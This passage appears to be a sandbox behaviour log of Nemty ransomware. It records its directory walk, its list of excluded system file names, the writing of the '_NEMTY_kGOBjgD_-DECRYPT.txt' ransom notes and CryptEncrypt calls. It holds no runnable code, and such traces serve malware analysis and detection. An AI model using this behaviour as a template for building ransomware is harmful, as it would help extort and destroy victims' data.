hHeap=0x4f90000) returned 1 [0191.836] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ca30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x25f0ca30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x25f0ca30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0191.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0191.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0191.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0191.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0191.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0191.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0191.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0191.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0191.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0191.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0191.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0191.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340328 [0191.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.837] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ca30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x25f0ca30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x25f0ca30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0191.837] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0191.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0191.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0191.837] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HRV", cAlternateFileName="")) returned 1 [0191.837] lstrcmpiW (lpString1="MPP_HRV", lpString2=".") returned 1 [0191.837] lstrcmpiW (lpString1="MPP_HRV", lpString2="..") returned 1 [0191.837] lstrcmpiW (lpString1="MPP_HRV", lpString2="...") returned 1 [0191.837] lstrcmpiW (lpString1="MPP_HRV", lpString2="windows") returned -1 [0191.837] lstrcmpiW (lpString1="MPP_HRV", lpString2="$RECYCLE.BIN") returned 1 [0191.837] lstrcmpiW (lpString1="MPP_HRV", lpString2="rsa") returned -1 [0191.837] lstrcmpiW (lpString1="MPP_HRV", lpString2="NTDETECT.COM") returned -1 [0191.838] lstrcmpiW (lpString1="MPP_HRV", lpString2="ntldr") returned -1 [0191.838] lstrcmpiW (lpString1="MPP_HRV", lpString2="MSDOS.SYS") returned -1 [0191.838] lstrcmpiW (lpString1="MPP_HRV", lpString2="IO.SYS") returned 1 [0191.838] lstrcmpiW (lpString1="MPP_HRV", lpString2="boot.ini") returned 1 [0191.838] lstrcmpiW (lpString1="MPP_HRV", lpString2="boot.ini") returned 1 [0191.838] lstrcmpiW (lpString1="MPP_HRV", lpString2="AUTOEXEC.BAT") returned 1 [0191.838] lstrcmpiW (lpString1="MPP_HRV", lpString2="ntuser.dat") returned -1 [0191.838] lstrcmpiW (lpString1="MPP_HRV", lpString2="desktop.ini") returned 1 [0191.838] lstrcmpiW (lpString1="MPP_HRV", lpString2="CONFIG.SYS") returned 1 [0191.838] lstrcmpiW (lpString1="MPP_HRV", lpString2="RECYCLER") returned -1 [0191.838] lstrcmpiW (lpString1="MPP_HRV", lpString2="BOOTSECT.BAK") returned 1 [0191.838] lstrcmpiW (lpString1="MPP_HRV", lpString2="bootmgr") returned 1 [0191.838] lstrcmpiW (lpString1="MPP_HRV", lpString2="programdata") returned -1 [0191.838] lstrcmpiW (lpString1="MPP_HRV", lpString2="appdata") returned 1 [0191.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_HRV", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_HRV", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_HRV", lpUsedDefaultChar=0x0) returned 7 [0191.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_HRV", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_HRV", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_HRV", lpUsedDefaultChar=0x0) returned 7 [0191.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0191.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0191.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0191.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0191.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63401b8 [0191.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.838] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0191.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.840] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.840] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0191.841] CloseHandle (hObject=0x2e8) returned 1 [0191.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0191.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0191.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0191.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0191.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0191.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0191.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340308 [0191.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0191.842] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0191.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0191.842] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.842] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0191.843] CloseHandle (hObject=0x2e8) returned 1 [0191.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0191.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0191.843] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x25fcb110, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x25fcb110, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0191.844] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0191.844] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x25fcb110, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x25fcb110, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0191.844] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0191.844] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0191.844] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.HRV", cAlternateFileName="")) returned 1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2=".") returned 1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="..") returned 1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="...") returned 1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="windows") returned -1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="$RECYCLE.BIN") returned 1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="rsa") returned -1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="NTDETECT.COM") returned -1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="ntldr") returned -1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="MSDOS.SYS") returned -1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="IO.SYS") returned -1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="boot.ini") returned 1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="boot.ini") returned 1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="ntuser.dat") returned -1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="desktop.ini") returned 1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="CONFIG.SYS") returned 1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="RECYCLER") returned -1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="BOOTSECT.BAK") returned 1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="bootmgr") returned 1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="programdata") returned -1 [0191.844] lstrcmpiW (lpString1="Flash.HRV", lpString2="appdata") returned 1 [0191.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HRV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HRV", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.HRV", lpUsedDefaultChar=0x0) returned 9 [0191.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HRV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HRV", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.HRV", lpUsedDefaultChar=0x0) returned 9 [0191.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HRV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HRV", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.HRV", lpUsedDefaultChar=0x0) returned 9 [0191.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HRV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HRV", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.HRV", lpUsedDefaultChar=0x0) returned 9 [0191.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340240 [0191.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0191.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0191.845] Sleep (dwMilliseconds=0x5) [0191.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25ff1270, dwHighDateTime=0x1d561e8)) [0191.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25ff1270, dwHighDateTime=0x1d561e8)) [0191.847] GetLastError () returned 0xb7 [0191.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.847] GetLastError () returned 0xb7 [0191.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.847] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.847] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.847] CryptBinaryToStringA (in: 